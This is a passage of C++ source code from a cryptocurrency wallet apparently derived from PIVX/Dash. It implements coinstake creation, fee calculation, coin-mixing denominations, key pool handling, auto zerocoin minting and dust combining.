further down) if (nTotalSize / 2 > nStakeSplitThreshold * COIN) txNew.vout.push_back(CTxOut(0, scriptPubKeyOut)); //split stake if (fDebug && GetBoolArg("-printcoinstake", false)) LogPrintf("CreateCoinStake : added kernel type=%d\n", whichType); fKernelFound = true; break; } if (fKernelFound) break; // if kernel is found stop searching } if (nCredit == 0 || nCredit > nBalance - nReserveBalance) return false; // Calculate reward CAmount nReward; const CBlockIndex* pIndex0 = chainActive.Tip(); nReward = GetBlockValue(pIndex0->nHeight); nCredit += nReward; CAmount nMinFee = 0; while (true) { // Set output amount if (txNew.vout.size() == 3) { txNew.vout[1].nValue = ((nCredit - nMinFee) / 2 / CENT) * CENT; txNew.vout[2].nValue = nCredit - nMinFee - txNew.vout[1].nValue; } else txNew.vout[1].nValue = nCredit - nMinFee; // Limit size unsigned int nBytes = ::GetSerializeSize(txNew, SER_NETWORK, PROTOCOL_VERSION); if (nBytes >= DEFAULT_BLOCK_MAX_SIZE / 5) return error("CreateCoinStake : exceeded coinstake size limit"); CAmount nFeeNeeded = GetMinimumFee(nBytes, nTxConfirmTarget, mempool); // Check enough fee is paid if (nMinFee < nFeeNeeded) { nMinFee = nFeeNeeded; continue; // try signing again } else { if (fDebug) LogPrintf("CreateCoinStake : fee for coinstake %s\n", FormatMoney(nMinFee).c_str()); break; } } //Masternode payment FillBlockPayee(txNew, nMinFee, true); // Sign int nIn = 0; BOOST_FOREACH (const CWalletTx* pcoin, vwtxPrev) { if (!SignSignature(*this, *pcoin, txNew, nIn++)) return error("CreateCoinStake : failed to sign coinstake"); } // Successfully generated coinstake nLastStakeSetUpdate = 0; //this will trigger stake set to repopulate next round return true; } /** * Call after CreateTransaction unless you want to abort */ bool CWallet::CommitTransaction(CWalletTx& wtxNew, CReserveKey& reservekey, std::string strCommand) { { LOCK2(cs_main, cs_wallet); LogPrintf("CommitTransaction:\n%s", wtxNew.ToString()); { // This is only to keep the database open to defeat the auto-flush for the // duration of this scope. This is the only place where this optimization // maybe makes sense; please don't do it anywhere else. CWalletDB* pwalletdb = fFileBacked ? new CWalletDB(strWalletFile, "r") : NULL; // Take key pair from key pool so it won't be used again reservekey.KeepKey(); // Add tx to wallet, because if it has change it's also ours, // otherwise just for transaction history. AddToWallet(wtxNew); // Notify that old coins are spent if (!wtxNew.IsZerocoinSpend()) { set<uint256> updated_hahes; BOOST_FOREACH (const CTxIn& txin, wtxNew.vin) { // notify only once if (updated_hahes.find(txin.prevout.hash) != updated_hahes.end()) continue; CWalletTx& coin = mapWallet[txin.prevout.hash]; coin.BindWallet(this); NotifyTransactionChanged(this, txin.prevout.hash, CT_UPDATED); updated_hahes.insert(txin.prevout.hash); } } if (fFileBacked) delete pwalletdb; } // Track how many getdata requests our transaction gets mapRequestCount[wtxNew.GetHash()] = 0; // Broadcast if (!wtxNew.AcceptToMemoryPool(false)) { // This must not fail. The transaction has already been signed and recorded. LogPrintf("CommitTransaction() : Error: Transaction not valid\n"); return false; } wtxNew.RelayWalletTransaction(strCommand); } return true; } CAmount CWallet::GetMinimumFee(unsigned int nTxBytes, unsigned int nConfirmTarget, const CTxMemPool& pool) { // payTxFee is user-set "I want to pay this much" CAmount nFeeNeeded = payTxFee.GetFee(nTxBytes); // user selected total at least (default=true) if (fPayAtLeastCustomFee && nFeeNeeded > 0 && nFeeNeeded < payTxFee.GetFeePerK()) nFeeNeeded = payTxFee.GetFeePerK(); // User didn't set: use -txconfirmtarget to estimate... if (nFeeNeeded == 0) nFeeNeeded = pool.estimateFee(nConfirmTarget).GetFee(nTxBytes); // ... unless we don't have enough mempool data, in which case fall // back to a hard-coded fee if (nFeeNeeded == 0) nFeeNeeded = minTxFee.GetFee(nTxBytes); // prevent user from paying a non-sense fee (like 1 satoshi): 0 < fee < minRelayFee if (nFeeNeeded < ::minRelayTxFee.GetFee(nTxBytes)) nFeeNeeded = ::minRelayTxFee.GetFee(nTxBytes); // But always obey the maximum if (nFeeNeeded > maxTxFee) nFeeNeeded = maxTxFee; return nFeeNeeded; } CAmount CWallet::GetTotalValue(std::vector<CTxIn> vCoins) { CAmount nTotalValue = 0; CWalletTx wtx; BOOST_FOREACH (CTxIn i, vCoins) { if (mapWallet.count(i.prevout.hash)) { CWalletTx& wtx = mapWallet[i.prevout.hash]; if (i.prevout.n < wtx.vout.size()) { nTotalValue += wtx.vout[i.prevout.n].nValue; } } else { LogPrintf("GetTotalValue -- Couldn't find transaction\n"); } } return nTotalValue; } string CWallet::PrepareObfuscationDenominate(int minRounds, int maxRounds) { if (IsLocked()) return _("Error: Wallet locked, unable to create transaction!"); if (obfuScationPool.GetState() != POOL_STATUS_ERROR && obfuScationPool.GetState() != POOL_STATUS_SUCCESS) if (obfuScationPool.GetEntriesCount() > 0) return _("Error: You already have pending entries in the Obfuscation pool"); // ** find the coins we'll use std::vector<CTxIn> vCoins; std::vector<CTxIn> vCoinsResult; std::vector<COutput> vCoins2; CAmount nValueIn = 0; CReserveKey reservekey(this); /* Select the coins we'll use if minRounds >= 0 it means only denominated inputs are going in and coming out */ if (minRounds >= 0) { if (!SelectCoinsByDenominations(obfuScationPool.sessionDenom, 0.1 * COIN, OBFUSCATION_POOL_MAX, vCoins, vCoins2, nValueIn, minRounds, maxRounds)) return _("Error: Can't select current denominated inputs"); } LogPrintf("PrepareObfuscationDenominate - preparing obfuscation denominate . Got: %d \n", nValueIn); { LOCK(cs_wallet); BOOST_FOREACH (CTxIn v, vCoins) LockCoin(v.prevout); } CAmount nValueLeft = nValueIn; std::vector<CTxOut> vOut; /* TODO: Front load with needed denominations (e.g. .1, 1 ) */ // Make outputs by looping through denominations: try to add every needed denomination, repeat up to 5-10 times. // This way we can be pretty sure that it should have at least one of each needed denomination. // NOTE: No need to randomize order of inputs because they were // initially shuffled in CWallet::SelectCoinsByDenominations already. int nStep = 0; int nStepsMax = 5 + GetRandInt(5); while (nStep < nStepsMax) { BOOST_FOREACH (CAmount v, obfuScationDenominations) { // only use the ones that are approved bool fAccepted = false; if ((obfuScationPool.sessionDenom & (1 << 0)) && v == ((10000 * COIN) + 10000000)) { fAccepted = true; } else if ((obfuScationPool.sessionDenom & (1 << 1)) && v == ((GetMstrNodCollateral(chainActive.Height())*COIN) + 1000000)) { fAccepted = true; } else if ((obfuScationPool.sessionDenom & (1 << 2)) && v == ((100 * COIN) + 100000)) { fAccepted = true; } else if ((obfuScationPool.sessionDenom & (1 << 3)) && v == ((10 * COIN) + 10000)) { fAccepted = true; } else if ((obfuScationPool.sessionDenom & (1 << 4)) && v == ((1 * COIN) + 1000)) { fAccepted = true; } else if ((obfuScationPool.sessionDenom & (1 << 5)) && v == ((.1 * COIN) + 100)) { fAccepted = true; } if (!fAccepted) continue; // try to add it if (nValueLeft - v >= 0) { // Note: this relies on a fact that both vectors MUST have same size std::vector<CTxIn>::iterator it = vCoins.begin(); std::vector<COutput>::iterator it2 = vCoins2.begin(); while (it2 != vCoins2.end()) { // we have matching inputs if ((*it2).tx->vout[(*it2).i].nValue == v) { // add new input in resulting vector vCoinsResult.push_back(*it); // remove corresponting items from initial vectors vCoins.erase(it); vCoins2.erase(it2); CScript scriptChange; CPubKey vchPubKey; // use a unique change address assert(reservekey.GetReservedKey(vchPubKey)); // should never fail, as we just unlocked scriptChange = GetScriptForDestination(vchPubKey.GetID()); reservekey.KeepKey(); // add new output CTxOut o(v, scriptChange); vOut.push_back(o); // subtract denomination amount nValueLeft -= v; break; } ++it; ++it2; } } } nStep++; if (nValueLeft == 0) break; } { // unlock unused coins LOCK(cs_wallet); BOOST_FOREACH (CTxIn v, vCoins) UnlockCoin(v.prevout); } if (obfuScationPool.GetDenominations(vOut) != obfuScationPool.sessionDenom) { // unlock used coins on failure LOCK(cs_wallet); BOOST_FOREACH (CTxIn v, vCoinsResult) UnlockCoin(v.prevout); return "Error: can't make current denominated outputs"; } // randomize the output order std::random_shuffle(vOut.begin(), vOut.end()); // We also do not care about full amount as long as we have right denominations, just pass what we found obfuScationPool.SendObfuscationDenominate(vCoinsResult, vOut, nValueIn - nValueLeft); return ""; } DBErrors CWallet::LoadWallet(bool& fFirstRunRet) { if (!fFileBacked) return DB_LOAD_OK; fFirstRunRet = false; DBErrors nLoadWalletRet = CWalletDB(strWalletFile, "cr+").LoadWallet(this); if (nLoadWalletRet == DB_NEED_REWRITE) { if (CDB::Rewrite(strWalletFile, "\x04pool")) { LOCK(cs_wallet); setKeyPool.clear(); // Note: can't top-up keypool here, because wallet is locked. // User will be prompted to unlock wallet the next operation // the requires a new key. } } if (nLoadWalletRet != DB_LOAD_OK) return nLoadWalletRet; fFirstRunRet = !vchDefaultKey.IsValid(); uiInterface.LoadWallet(this); return DB_LOAD_OK; } DBErrors CWallet::ZapWalletTx(std::vector<CWalletTx>& vWtx) { if (!fFileBacked) return DB_LOAD_OK; DBErrors nZapWalletTxRet = CWalletDB(strWalletFile, "cr+").ZapWalletTx(this, vWtx); if (nZapWalletTxRet == DB_NEED_REWRITE) { if (CDB::Rewrite(strWalletFile, "\x04pool")) { LOCK(cs_wallet); setKeyPool.clear(); // Note: can't top-up keypool here, because wallet is locked. // User will be prompted to unlock wallet the next operation // that requires a new key. } } if (nZapWalletTxRet != DB_LOAD_OK) return nZapWalletTxRet; return DB_LOAD_OK; } bool CWallet::SetAddressBook(const CTxDestination& address, const string& strName, const string& strPurpose) { bool fUpdated = false; { LOCK(cs_wallet); // mapAddressBook std::map<CTxDestination, CAddressBookData>::iterator mi = mapAddressBook.find(address); fUpdated = mi != mapAddressBook.end(); mapAddressBook[address].name = strName; if (!strPurpose.empty()) /* update purpose only if requested */ mapAddressBook[address].purpose = strPurpose; } NotifyAddressBookChanged(this, address, strName, ::IsMine(*this, address) != ISMINE_NO, strPurpose, (fUpdated ? CT_UPDATED : CT_NEW)); if (!fFileBacked) return false; if (!strPurpose.empty() && !CWalletDB(strWalletFile).WritePurpose(CBitcoinAddress(address).ToString(), strPurpose)) return false; return CWalletDB(strWalletFile).WriteName(CBitcoinAddress(address).ToString(), strName); } bool CWallet::DelAddressBook(const CTxDestination& address) { { LOCK(cs_wallet); // mapAddressBook if (fFileBacked) { // Delete destdata tuples associated with address std::string strAddress = CBitcoinAddress(address).ToString(); BOOST_FOREACH (const PAIRTYPE(string, string) & item, mapAddressBook[address].destdata) { CWalletDB(strWalletFile).EraseDestData(strAddress, item.first); } } mapAddressBook.erase(address); } NotifyAddressBookChanged(this, address, "", ::IsMine(*this, address) != ISMINE_NO, "", CT_DELETED); if (!fFileBacked) return false; CWalletDB(strWalletFile).ErasePurpose(CBitcoinAddress(address).ToString()); return CWalletDB(strWalletFile).EraseName(CBitcoinAddress(address).ToString()); } bool CWallet::SetDefaultKey(const CPubKey& vchPubKey) { if (fFileBacked) { if (!CWalletDB(strWalletFile).WriteDefaultKey(vchPubKey)) return false; } vchDefaultKey = vchPubKey; return true; } /** * Mark old keypool keys as used, * and generate all new keys */ bool CWallet::NewKeyPool() { { LOCK(cs_wallet); CWalletDB walletdb(strWalletFile); BOOST_FOREACH (int64_t nIndex, setKeyPool) walletdb.ErasePool(nIndex); setKeyPool.clear(); if (IsLocked()) return false; int64_t nKeys = max(GetArg("-keypool", 1000), (int64_t)0); for (int i = 0; i < nKeys; i++) { int64_t nIndex = i + 1; walletdb.WritePool(nIndex, CKeyPool(GenerateNewKey())); setKeyPool.insert(nIndex); } LogPrintf("CWallet::NewKeyPool wrote %d new keys\n", nKeys); } return true; } bool CWallet::TopUpKeyPool(unsigned int kpSize) { { LOCK(cs_wallet); if (IsLocked()) return false; CWalletDB walletdb(strWalletFile); // Top up key pool unsigned int nTargetSize; if (kpSize > 0) nTargetSize = kpSize; else nTargetSize = max(GetArg("-keypool", 1000), (int64_t)0); while (setKeyPool.size() < (nTargetSize + 1)) { int64_t nEnd = 1; if (!setKeyPool.empty()) nEnd = *(--setKeyPool.end()) + 1; if (!walletdb.WritePool(nEnd, CKeyPool(GenerateNewKey()))) throw runtime_error("TopUpKeyPool() : writing generated key failed"); setKeyPool.insert(nEnd); LogPrintf("keypool added key %d, size=%u\n", nEnd, setKeyPool.size()); double dProgress = 100.f * nEnd / (nTargetSize + 1); std::string strMsg = strprintf(_("Loading wallet... (%3.2f %%)"), dProgress); uiInterface.InitMessage(strMsg); } } return true; } void CWallet::ReserveKeyFromKeyPool(int64_t& nIndex, CKeyPool& keypool) { nIndex = -1; keypool.vchPubKey = CPubKey(); { LOCK(cs_wallet); if (!IsLocked()) TopUpKeyPool(); // Get the oldest key if (setKeyPool.empty()) return; CWalletDB walletdb(strWalletFile); nIndex = *(setKeyPool.begin()); setKeyPool.erase(setKeyPool.begin()); if (!walletdb.ReadPool(nIndex, keypool)) throw runtime_error("ReserveKeyFromKeyPool() : read failed"); if (!HaveKey(keypool.vchPubKey.GetID())) throw runtime_error("ReserveKeyFromKeyPool() : unknown key in key pool"); assert(keypool.vchPubKey.IsValid()); LogPrintf("keypool reserve %d\n", nIndex); } } void CWallet::KeepKey(int64_t nIndex) { // Remove from key pool if (fFileBacked) { CWalletDB walletdb(strWalletFile); walletdb.ErasePool(nIndex); } LogPrintf("keypool keep %d\n", nIndex); } void CWallet::ReturnKey(int64_t nIndex) { // Return to key pool { LOCK(cs_wallet); setKeyPool.insert(nIndex); } LogPrintf("keypool return %d\n", nIndex); } bool CWallet::GetKeyFromPool(CPubKey& result) { int64_t nIndex = 0; CKeyPool keypool; { LOCK(cs_wallet); ReserveKeyFromKeyPool(nIndex, keypool); if (nIndex == -1) { if (IsLocked()) return false; result = GenerateNewKey(); return true; } KeepKey(nIndex); result = keypool.vchPubKey; } return true; } int64_t CWallet::GetOldestKeyPoolTime() { int64_t nIndex = 0; CKeyPool keypool; ReserveKeyFromKeyPool(nIndex, keypool); if (nIndex == -1) return GetTime(); ReturnKey(nIndex); return keypool.nTime; } std::map<CTxDestination, CAmount> CWallet::GetAddressBalances() { map<CTxDestination, CAmount> balances; { LOCK(cs_wallet); BOOST_FOREACH (PAIRTYPE(uint256, CWalletTx) walletEntry, mapWallet) { CWalletTx* pcoin = &walletEntry.second; if (!IsFinalTx(*pcoin) || !pcoin->IsTrusted()) continue; if (pcoin->IsCoinBase() && pcoin->GetBlocksToMaturity() > 0) continue; int nDepth = pcoin->GetDepthInMainChain(); if (nDepth < (pcoin->IsFromMe(ISMINE_ALL) ? 0 : 1)) continue; for (unsigned int i = 0; i < pcoin->vout.size(); i++) { CTxDestination addr; if (!IsMine(pcoin->vout[i])) continue; if (!ExtractDestination(pcoin->vout[i].scriptPubKey, addr)) continue; CAmount n = IsSpent(walletEntry.first, i) ? 0 : pcoin->vout[i].nValue; if (!balances.count(addr)) balances[addr] = 0; balances[addr] += n; } } } return balances; } set<set<CTxDestination> > CWallet::GetAddressGroupings() { AssertLockHeld(cs_wallet); // mapWallet set<set<CTxDestination> > groupings; set<CTxDestination> grouping; BOOST_FOREACH (PAIRTYPE(uint256, CWalletTx) walletEntry, mapWallet) { CWalletTx* pcoin = &walletEntry.second; if (pcoin->vin.size() > 0) { bool any_mine = false; // group all input addresses with each other BOOST_FOREACH (CTxIn txin, pcoin->vin) { CTxDestination address; if (!IsMine(txin)) /* If this input isn't mine, ignore it */ continue; if (!ExtractDestination(mapWallet[txin.prevout.hash].vout[txin.prevout.n].scriptPubKey, address)) continue; grouping.insert(address); any_mine = true; } // group change with input addresses if (any_mine) { BOOST_FOREACH (CTxOut txout, pcoin->vout) if (IsChange(txout)) { CTxDestination txoutAddr; if (!ExtractDestination(txout.scriptPubKey, txoutAddr)) continue; grouping.insert(txoutAddr); } } if (grouping.size() > 0) { groupings.insert(grouping); grouping.clear(); } } // group lone addrs by themselves for (unsigned int i = 0; i < pcoin->vout.size(); i++) if (IsMine(pcoin->vout[i])) { CTxDestination address; if (!ExtractDestination(pcoin->vout[i].scriptPubKey, address)) continue; grouping.insert(address); groupings.insert(grouping); grouping.clear(); } } set<set<CTxDestination>*> uniqueGroupings; // a set of pointers to groups of addresses map<CTxDestination, set<CTxDestination>*> setmap; // map addresses to the unique group containing it BOOST_FOREACH (set<CTxDestination> grouping, groupings) { // make a set of all the groups hit by this new group set<set<CTxDestination>*> hits; map<CTxDestination, set<CTxDestination>*>::iterator it; BOOST_FOREACH (CTxDestination address, grouping) if ((it = setmap.find(address)) != setmap.end()) hits.insert((*it).second); // merge all hit groups into a new single group and delete old groups set<CTxDestination>* merged = new set<CTxDestination>(grouping); BOOST_FOREACH (set<CTxDestination>* hit, hits) { merged->insert(hit->begin(), hit->end()); uniqueGroupings.erase(hit); delete hit; } uniqueGroupings.insert(merged); // update setmap BOOST_FOREACH (CTxDestination element, *merged) setmap[element] = merged; } set<set<CTxDestination> > ret; BOOST_FOREACH (set<CTxDestination>* uniqueGrouping, uniqueGroupings) { ret.insert(*uniqueGrouping); delete uniqueGrouping; } return ret; } set<CTxDestination> CWallet::GetAccountAddresses(string strAccount) const { LOCK(cs_wallet); set<CTxDestination> result; BOOST_FOREACH (const PAIRTYPE(CTxDestination, CAddressBookData) & item, mapAddressBook) { const CTxDestination& address = item.first; const string& strName = item.second.name; if (strName == strAccount) result.insert(address); } return result; } bool CReserveKey::GetReservedKey(CPubKey& pubkey) { if (nIndex == -1) { CKeyPool keypool; pwallet->ReserveKeyFromKeyPool(nIndex, keypool); if (nIndex != -1) vchPubKey = keypool.vchPubKey; else { return false; } } assert(vchPubKey.IsValid()); pubkey = vchPubKey; return true; } void CReserveKey::KeepKey() { if (nIndex != -1) pwallet->KeepKey(nIndex); nIndex = -1; vchPubKey = CPubKey(); } void CReserveKey::ReturnKey() { if (nIndex != -1) pwallet->ReturnKey(nIndex); nIndex = -1; vchPubKey = CPubKey(); } void CWallet::GetAllReserveKeys(set<CKeyID>& setAddress) const { setAddress.clear(); CWalletDB walletdb(strWalletFile); LOCK2(cs_main, cs_wallet); BOOST_FOREACH (const int64_t& id, setKeyPool) { CKeyPool keypool; if (!walletdb.ReadPool(id, keypool)) throw runtime_error("GetAllReserveKeyHashes() : read failed"); assert(keypool.vchPubKey.IsValid()); CKeyID keyID = keypool.vchPubKey.GetID(); if (!HaveKey(keyID)) throw runtime_error("GetAllReserveKeyHashes() : unknown key in key pool"); setAddress.insert(keyID); } } bool CWallet::UpdatedTransaction(const uint256& hashTx) { { LOCK(cs_wallet); // Only notify UI if this transaction is in this wallet map<uint256, CWalletTx>::const_iterator mi = mapWallet.find(hashTx); if (mi != mapWallet.end()) { NotifyTransactionChanged(this, hashTx, CT_UPDATED); return true; } } return false; } void CWallet::LockCoin(COutPoint& output) { AssertLockHeld(cs_wallet); // setLockedCoins setLockedCoins.insert(output); } void CWallet::UnlockCoin(COutPoint& output) { AssertLockHeld(cs_wallet); // setLockedCoins setLockedCoins.erase(output); } void CWallet::UnlockAllCoins() { AssertLockHeld(cs_wallet); // setLockedCoins setLockedCoins.clear(); } bool CWallet::IsLockedCoin(uint256 hash, unsigned int n) const { AssertLockHeld(cs_wallet); // setLockedCoins COutPoint outpt(hash, n); return (setLockedCoins.count(outpt) > 0); } void CWallet::ListLockedCoins(std::vector<COutPoint>& vOutpts) { AssertLockHeld(cs_wallet); // setLockedCoins for (std::set<COutPoint>::iterator it = setLockedCoins.begin(); it != setLockedCoins.end(); it++) { COutPoint outpt = (*it); vOutpts.push_back(outpt); } } /** @} */ // end of Actions class CAffectedKeysVisitor : public boost::static_visitor<void> { private: const CKeyStore& keystore; std::vector<CKeyID>& vKeys; public: CAffectedKeysVisitor(const CKeyStore& keystoreIn, std::vector<CKeyID>& vKeysIn) : keystore(keystoreIn), vKeys(vKeysIn) {} void Process(const CScript& script) { txnouttype type; std::vector<CTxDestination> vDest; int nRequired; if (ExtractDestinations(script, type, vDest, nRequired)) { BOOST_FOREACH (const CTxDestination& dest, vDest) boost::apply_visitor(*this, dest); } } void operator()(const CKeyID& keyId) { if (keystore.HaveKey(keyId)) vKeys.push_back(keyId); } void operator()(const CScriptID& scriptId) { CScript script; if (keystore.GetCScript(scriptId, script)) Process(script); } void operator()(const CNoDestination& none) {} }; void CWallet::GetKeyBirthTimes(std::map<CKeyID, int64_t>& mapKeyBirth) const { AssertLockHeld(cs_wallet); // mapKeyMetadata mapKeyBirth.clear(); // get birth times for keys with metadata for (std::map<CKeyID, CKeyMetadata>::const_iterator it = mapKeyMetadata.begin(); it != mapKeyMetadata.end(); it++) if (it->second.nCreateTime) mapKeyBirth[it->first] = it->second.nCreateTime; // map in which we'll infer heights of other keys CBlockIndex* pindexMax = chainActive[std::max(0, chainActive.Height() - 144)]; // the tip can be reorganised; use a 144-block safety margin std::map<CKeyID, CBlockIndex*> mapKeyFirstBlock; std::set<CKeyID> setKeys; GetKeys(setKeys); BOOST_FOREACH (const CKeyID& keyid, setKeys) { if (mapKeyBirth.count(keyid) == 0) mapKeyFirstBlock[keyid] = pindexMax; } setKeys.clear(); // if there are no such keys, we're done if (mapKeyFirstBlock.empty()) return; // find first block that affects those keys, if there are any left std::vector<CKeyID> vAffected; for (std::map<uint256, CWalletTx>::const_iterator it = mapWallet.begin(); it != mapWallet.end(); it++) { // iterate over all wallet transactions... const CWalletTx& wtx = (*it).second; BlockMap::const_iterator blit = mapBlockIndex.find(wtx.hashBlock); if (blit != mapBlockIndex.end() && chainActive.Contains(blit->second)) { // ... which are already in a block int nHeight = blit->second->nHeight; BOOST_FOREACH (const CTxOut& txout, wtx.vout) { // iterate over all their outputs CAffectedKeysVisitor(*this, vAffected).Process(txout.scriptPubKey); BOOST_FOREACH (const CKeyID& keyid, vAffected) { // ... and all their affected keys std::map<CKeyID, CBlockIndex*>::iterator rit = mapKeyFirstBlock.find(keyid); if (rit != mapKeyFirstBlock.end() && nHeight < rit->second->nHeight) rit->second = blit->second; } vAffected.clear(); } } } // Extract block timestamps for those keys for (std::map<CKeyID, CBlockIndex*>::const_iterator it = mapKeyFirstBlock.begin(); it != mapKeyFirstBlock.end(); it++) mapKeyBirth[it->first] = it->second->GetBlockTime() - 7200; // block times can be 2h off } bool CWallet::AddDestData(const CTxDestination& dest, const std::string& key, const std::string& value) { if (boost::get<CNoDestination>(&dest)) return false; mapAddressBook[dest].destdata.insert(std::make_pair(key, value)); if (!fFileBacked) return true; return CWalletDB(strWalletFile).WriteDestData(CBitcoinAddress(dest).ToString(), key, value); } bool CWallet::EraseDestData(const CTxDestination& dest, const std::string& key) { if (!mapAddressBook[dest].destdata.erase(key)) return false; if (!fFileBacked) return true; return CWalletDB(strWalletFile).EraseDestData(CBitcoinAddress(dest).ToString(), key); } bool CWallet::LoadDestData(const CTxDestination& dest, const std::string& key, const std::string& value) { mapAddressBook[dest].destdata.insert(std::make_pair(key, value)); return true; } bool CWallet::GetDestData(const CTxDestination& dest, const std::string& key, std::string* value) const { std::map<CTxDestination, CAddressBookData>::const_iterator i = mapAddressBook.find(dest); if (i != mapAddressBook.end()) { CAddressBookData::StringMap::const_iterator j = i->second.destdata.find(key); if (j != i->second.destdata.end()) { if (value) *value = j->second; return true; } } return false; } // CWallet::AutoZeromint() gets called with each new incoming block void CWallet::AutoZeromint() { // Don't bother Autominting if Zerocoin Protocol isn't active if (GetAdjustedTime() > GetSporkValue(SPORK_16_ZEROCOIN_MAINTENANCE_MODE)) return; // Wait until blockchain + masternodes are fully synced and wallet is unlocked. if (!masternodeSync.IsSynced() || IsLocked()){ // Re-adjust startup time in case syncing needs a long time. nStartupTime = GetAdjustedTime(); return; } // After sync wait even more to reduce load when wallet was just started int64_t nWaitTime = GetAdjustedTime() - nStartupTime; if (nWaitTime < AUTOMINT_DELAY){ LogPrint("zero", "CWallet::AutoZeromint(): time since sync-completion or last Automint (%ld sec) < default waiting time (%ld sec). Waiting again...\n", nWaitTime, AUTOMINT_DELAY); return; } CAmount nZerocoinBalance = GetZerocoinBalance(false); //false includes both pending and mature zerocoins. Need total balance for this so nothing is overminted. CAmount nBalance = GetUnlockedCoins(); // We only consider unlocked coins, this also excludes masternode-vins // from being accidentally minted CAmount nMintAmount = 0; CAmount nToMintAmount = 0; // zDASHD are integers > 0, so we can't mint 10% of 9 DASHDIAMOND if (nBalance < 10){ LogPrint("zero", "CWallet::AutoZeromint(): available balance (%ld) too small for minting zDASHD\n", nBalance); return; } // Percentage of zDASHD we already have double dPercentage = 100 * (double)nZerocoinBalance / (double)(nZerocoinBalance + nBalance); // Check if minting is actually needed if(dPercentage >= nZeromintPercentage){ LogPrint("zero", "CWallet::AutoZeromint() @block %ld: percentage of existing zDASHD (%lf%%) already >= configured percentage (%d%%). No minting needed...\n", chainActive.Tip()->nHeight, dPercentage, nZeromintPercentage); return; } // zDASHD amount needed for the target percentage nToMintAmount = ((nZerocoinBalance + nBalance) * nZeromintPercentage / 100); // zDASHD amount missing from target (must be minted) nToMintAmount = (nToMintAmount - nZerocoinBalance) / COIN; // Use the biggest denomination smaller than the needed zDASHD We'll only mint exact denomination to make minting faster. // Exception: for big amounts use 6666 (6666 = 1*5000 + 1*1000 + 1*500 + 1*100 + 1*50 + 1*10 + 1*5 + 1) to create all // possible denominations to avoid having 5000 denominations only. // If a preferred denomination is used (means nPreferredDenom != 0) do nothing until we have enough DASHDIAMOND to mint this denomination if (nPreferredDenom > 0){ if (nToMintAmount >= nPreferredDenom) nToMintAmount = nPreferredDenom; // Enough coins => mint preferred denomination else nToMintAmount = 0; // Not enough coins => do nothing and wait for more coins } if (nToMintAmount >= ZQ_6666){ nMintAmount = ZQ_6666; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_FIVE_THOUSAND){ nMintAmount = libzerocoin::CoinDenomination::ZQ_FIVE_THOUSAND; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_ONE_THOUSAND){ nMintAmount = libzerocoin::CoinDenomination::ZQ_ONE_THOUSAND; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_FIVE_HUNDRED){ nMintAmount = libzerocoin::CoinDenomination::ZQ_FIVE_HUNDRED; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_ONE_HUNDRED){ nMintAmount = libzerocoin::CoinDenomination::ZQ_ONE_HUNDRED; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_FIFTY){ nMintAmount = libzerocoin::CoinDenomination::ZQ_FIFTY; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_TEN){ nMintAmount = libzerocoin::CoinDenomination::ZQ_TEN; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_FIVE){ nMintAmount = libzerocoin::CoinDenomination::ZQ_FIVE; } else if (nToMintAmount >= libzerocoin::CoinDenomination::ZQ_ONE){ nMintAmount = libzerocoin::CoinDenomination::ZQ_ONE; } else { nMintAmount = 0; } if (nMintAmount > 0){ CWalletTx wtx; vector<CZerocoinMint> vMints; string strError = pwalletMain->MintZerocoin(nMintAmount*COIN, wtx, vMints); // Return if something went wrong during minting if (strError != ""){ LogPrintf("CWallet::AutoZeromint(): auto minting failed with error: %s\n", strError); return; } nZerocoinBalance = GetZerocoinBalance(false); nBalance = GetUnlockedCoins(); dPercentage = 100 * (double)nZerocoinBalance / (double)(nZerocoinBalance + nBalance); LogPrintf("CWallet::AutoZeromint() @ block %ld: successfully minted %ld zDASHD. Current percentage of zDASHD: %lf%%\n", chainActive.Tip()->nHeight, nMintAmount, dPercentage); // Re-adjust startup time to delay next Automint for 5 minutes nStartupTime = GetAdjustedTime(); } else { LogPrintf("CWallet::AutoZeromint(): Nothing minted because either not enough funds available or the requested denomination size (%d) is not yet reached.\n", nPreferredDenom); } } void CWallet::AutoCombineDust() { if (IsInitialBlockDownload() || IsLocked()) { return; } map<CBitcoinAddress, vector<COutput> > mapCoinsByAddress = AvailableCoinsByAddress(true, 0); //coins are sectioned by address. This combination code only wants to combine inputs that belong to the same address for (map<CBitcoinAddress, vector<COutput> >::iterator it = mapCoinsByAddress.begin(); it != mapCoinsByAddress.end(); it++) { vector<COutput> vCoins, vRewardCoins; vCoins = it->second; //find masternode rewards that need to be combined CCoinControl* coinControl = new CCoinControl(); CAmount nTotalRewardsValue = 0; BOOST_FOREACH (const COutput& out, vCoins) { //no coins should get this far if they dont have proper maturity, this is double checking if (out.tx->IsCoinStake() && out.tx->GetDepthInMainChain() < COINBASE_MATURITY + 1) continue; if (out.Value() > nAutoCombineThreshold * COIN) continue; COutPoint outpt(out.tx->GetHash(), out.i); coinControl->Select(outpt); vRewardCoins.push_back(out); nTotalRewardsValue += out.Value(); } //if no inputs found then return if (!coinControl->HasSelected()) continue; //we cannot combine one coin with itself if (vRewardCoins.size() <= 1) continue; vector<pair<CScript, CAmount> > vecSend; CScript scriptPubKey = GetScriptForDestination(it->first.Get()); vecSend.push_back(make_pair(scriptPubKey, nTotalRewardsValue)); // Create the transaction and commit it to the network CWalletTx wtx; CReserveKey keyChange(this); // this change address does not end up being used, because change is returned with coin control switch string strErr; CAmount nFeeRet = 0; //get the fee amount CWalletTx wtxdummy; CreateTransaction(vecSend, wtxdummy, keyChange, nFeeRet, strErr, coinControl, ALL_COINS, false, CAmount(0)); vecSend[0].second = nTotalRewardsValue - nFeeRet - 500; if (!CreateTransaction(vecSend, wtx, keyChange, nFeeRet, strErr, coinControl, ALL_COINS, false, CAmount(0))) { LogPrintf("AutoCombineDust createtransaction failed, reason: %s\n", strErr); continue; } if (!CommitTransaction(wtx, keyChange)) { LogPrintf("AutoCombineDust transaction commit failed\n"); continue; } LogPrintf("AutoCombineDust sent transaction\n"); delete coinControl; } } bool CWallet::MultiSend() { if (IsInitialBlockDownload() || IsLocked()) { return false; } if (chainActive.Tip()->nHeight <= nLastMultiSendHeight) { LogPrintf("Multisend: lastmultisendheight is higher than current best height\n"); return false; } std::vector<COutput> vCoins; AvailableCoins(vCoins); int stakeSent = 0; int mnSent = 0; 